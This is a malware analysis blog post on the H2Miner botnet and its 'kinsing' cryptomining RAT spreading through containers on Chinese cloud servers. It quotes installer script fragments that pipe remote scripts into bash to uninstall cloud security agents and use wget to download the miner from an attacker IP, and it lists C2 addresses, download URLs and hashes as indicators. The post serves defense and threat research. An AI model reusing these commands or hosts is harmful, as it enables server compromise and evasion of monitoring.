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H2Miner Botnet – Act 2

H2Miner Botnet

Containers are gaining popularity as malware deployment mechanisms in the cloud. Beginning on Valentine’s Day, one malicious container started making its rounds and has steadily expanded to over 350 infections. The malware and infrastructure have been attributed to the “H2Miner” cryptomining botnet which was last reported in January propagating via a Redis RCE: New Outbreak of h2Miner Worms Exploiting Redis RCE Detected.

Currently this activity is primarily targeting cloud servers in China. The following chart shows a breakdown of servers by organization. The vast majority belong to Chinese cloud providers such as Aliyun (Alibaba) and Tencent Cloud. 

 

H2Miner Botnet - Bot Orgs

Figure 1. Bot Orgs


H2Miner Botnet - Botnet promogation

Figure 2. Botnet propagation

 

The malicious container was originally identified by searching on known malware artifacts in Shodan (https://www.shodan.io/search?query=%22217.12.221.244%22). As shown in Figure 3, there is an observable command that downloads a bash installer, which in turn preps the system and then tries to download the final cryptomining payload. 

 

H2Miner Botnet - Container and Malware in Shodan

Figure 3. Container malware observed in Shodan

 

The installer will first attempt to remove competing cryptominers. It does this by grepping other mining processes and network connections and then terminates them if found. It will also attempt to avoid detection by uninstalling monitoring agents for Tencent and Alibaba Cloud. The targeted removal of these security agents is likely a reason for the infection concentration among Tencent and Alibaba cloud servers.

 

if ps aux | grep -i ‘[a]liyun’; then
  curl http://update.aegis.aliyun.com/download/uninstall.sh | bash
  curl http://update.aegis.aliyun.com/download/quartz_uninstall.sh | bash
  pkill aliyun-service
  rm -rf /etc/init.d/agentwatch /usr/sbin/aliyun-service
  rm -rf /usr/local/aegis*
  systemctl stop aliyun.service
  systemctl disable aliyun.service
  service bcm-agent stop
  yum remove bcm-agent -y
  apt-get remove bcm-agent -y

 

The payload mining malware is known as “kinsing” and was previously reported on by Alibaba’s cloud security team. The installer downloads kinsing from one of two URLs and then verifies the hash (a71ad3167f9402d8c5388910862b16ae. The following shows the portion of the installer that’s responsible for this:

 

download3() {
  $WGET $DIR/kinsing http://217.12.221.244/kinsing
  chmod +x $DIR/kinsing
  if [ -x "$(command -v md5sum)" ]; then
    sum=$(md5sum $DIR/kinsing | awk '{ print $1 }')
    echo $sum
    case $sum in
    a71ad3167f9402d8c5388910862b16ae)
      echo "kinsing OK"
      ;;
    *)
      echo "kinsing wrong"
      ;;
    esac
  else
    echo "No md5sum"
  fi
}

 

In addition to cryptomining functionality, kinsing also has remote administration features with the ability to run additional malware. Kinsing is a 64 bit ELF executable and was coded in Golang. There are a total of 15 variants on Virus Total with a wide range of detection ratios between 3/61 and 27/61. (Note: these were found by searching on the artifact “main.minerRunning” which is unique to kinsing.)

 

All variants are hardcoded with the same C2 IPs:

Kinsing C2

Country

ASN

45.10.88.102

Ukraine

AS48693 Rices Privately owned enterprise

91.215.169.111

Russia

AS49693 Best-Hoster Group Co. Ltd.

139.99.50.255

France

AS16276 OVH SAS

46.243.253.167

Netherlands

AS58272 LeaderTelecom B.V.

195.123.220.193

Ukraine

AS21100 ITL LLC

 

One odd artifact in the kinsing binary is the presence of Shakespeare’s Hamlet – all five Acts of the entire play. The reason for this is unclear however it may be an attempt to confuse analysts by adding noise or a crude technique for avoiding hash-based detections. 

 

H2Miner Botnet - Hamlet Artifacts

Figure 4. Hamlet Artifacts: “Though this be madness, yet there is method in’t.”

 

The following are all known kinsing download URLs. The first two were observed in the most recent installer. All of the download URLs hosted on bitbucket are no longer online.

 

http://217.12.221.244/kinsing

https://bitbucket.org/kimganad81/git/raw/master/kinsing

http://142.44.191.122/kinsing

http://217.12.221.12/kinsing2

http://82.118.17.133/kinsing2

https://bitbucket.org/insane235n/git/raw/master/kinsing

https://bitbucket.org/orgaj125/git/raw/master/kinsing

 

Additional insight into the botnet was obtained by running the IPs through Greynoise. Greynoise is a useful search API and provides additional context on IPs that is unavailable elsewhere. As shown in Figure 4, several of the IPs running the containers were tagged as “Dockerd scanners” and “Kubernetes crawlers.” 

Lacework believes the hosts installed with kinsing were subsequently recruited as scanners by the botnet for self-propagation purposes. While the specific propagation technique was not observed, it’s possibly leveraging the same Redis RCE from January. This is supported by the “Redis Scanner” tag which was the third most common among the hosts. 

 

H2Miner Botnet - Greynoise Tags

Figure 5. Greynoise Tags 

 

Cyptominers will likely expand their exploitation of cloud resources, especially during this unstable global economy. This has the potential to exacerbate the strain on cloud resources as more people are now working from home. Fortunately, the installation of these programs can easily be detected and mitigated with cloud security agents such as those provided by Lacework and other vendors. 

 

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The following is a sampling of indicators. For a complete list, check out our GitHub repository: https://github.com/lacework/lacework-labs/blob/master/blog/h2miner.csv

 

Indicator

Type

Comment

d247687e9bdb8c4189ac54d10efd29aee12ca2af78b94a693113f382619a175b

sha256

kinsing cryptomining RAT

b44dae9d1ce0ebec7a40e9aa49ac01e2c775fa9e354477a45b723c090b5a28f2

sha256

kinsing cryptomining RAT

7727a0b47b7fd56275fa3c1c4468db7fa201c788d1e56597c87deaff45aad634

sha256

kinsing cryptomining RAT

655ee9ddd6956af8c040f3dce6b6c845680a621e463450b22d31c3a0907727e4

sha256

kinsing cryptomining RAT

a0363f3caad5feb8fc5c43e589117b8053cbf5bc82fc0034346ea3e3984e37e8

sha256

kinsing cryptomining RAT

db3b9622c81528ef2e7dbefb4e8e9c8c046b21ce2b021324739a195c966ae0b7

sha256

kinsing cryptomining RAT

4b0138c12e3209d8f9250c591fcc825ee6bff5f57f87ed9c661df6d14500e993

sha256

kinsing cryptomining RAT

0b0aa978c061628ec7cd611edeec3373d4742cbda533b07a2b3eb84a9dd2cb8a

sha256

kinsing cryptomining RAT

a5b010a5dd29d2f68ac9d5463eb8a29195f40f5103e1cc3353be2e9da6859dc6

sha256

kinsing cryptomining RAT

b70d14a7c069c2a88a8a55a6a2088aea184f84c0e110678e6a4afa2eb377649f

sha256

kinsing cryptomining RAT

c9932ca45e952668238960dbba7f01ce699357bedc594495c0ace512706dd0ac

sha256

kinsing cryptomining RAT

4f4e69abb2e155a712df9b3d0387f9fb2d6db8f3a2c88d7bbe199251ec08683f

sha256

kinsing cryptomining RAT

6e8c96f9e9a886fd6c51cce7f6c50d1368ca5b48a398cc1fedc63c1de1576c1e

sha256

kinsing cryptomining RAT

0c811140be9f59d69da925a4e15eb630352fa8ad4f931730aec9ae80a624d584

sha256

kinsing cryptomining RAT

45.10.88.102

ipv4

kinsing c2 

91.215.169.111

ipv4

kinsing c2 

139.99.50.255

ipv4

kinsing c2 

46.243.253.167

ipv4

kinsing c2 

195.123.220.193

ipv4

kinsing c2 

106.15.38.249

ipv4

H2Miner,compromised host

116.62.237.64

ipv4

H2Miner,compromised host

116.62.241.154

ipv4

H2Miner,compromised host

118.190.90.105

ipv4

H2Miner,compromised host

120.79.193.21

ipv4

H2Miner,compromised host

 

 

 

Photo from Harrison Kugler via Unsplash

 

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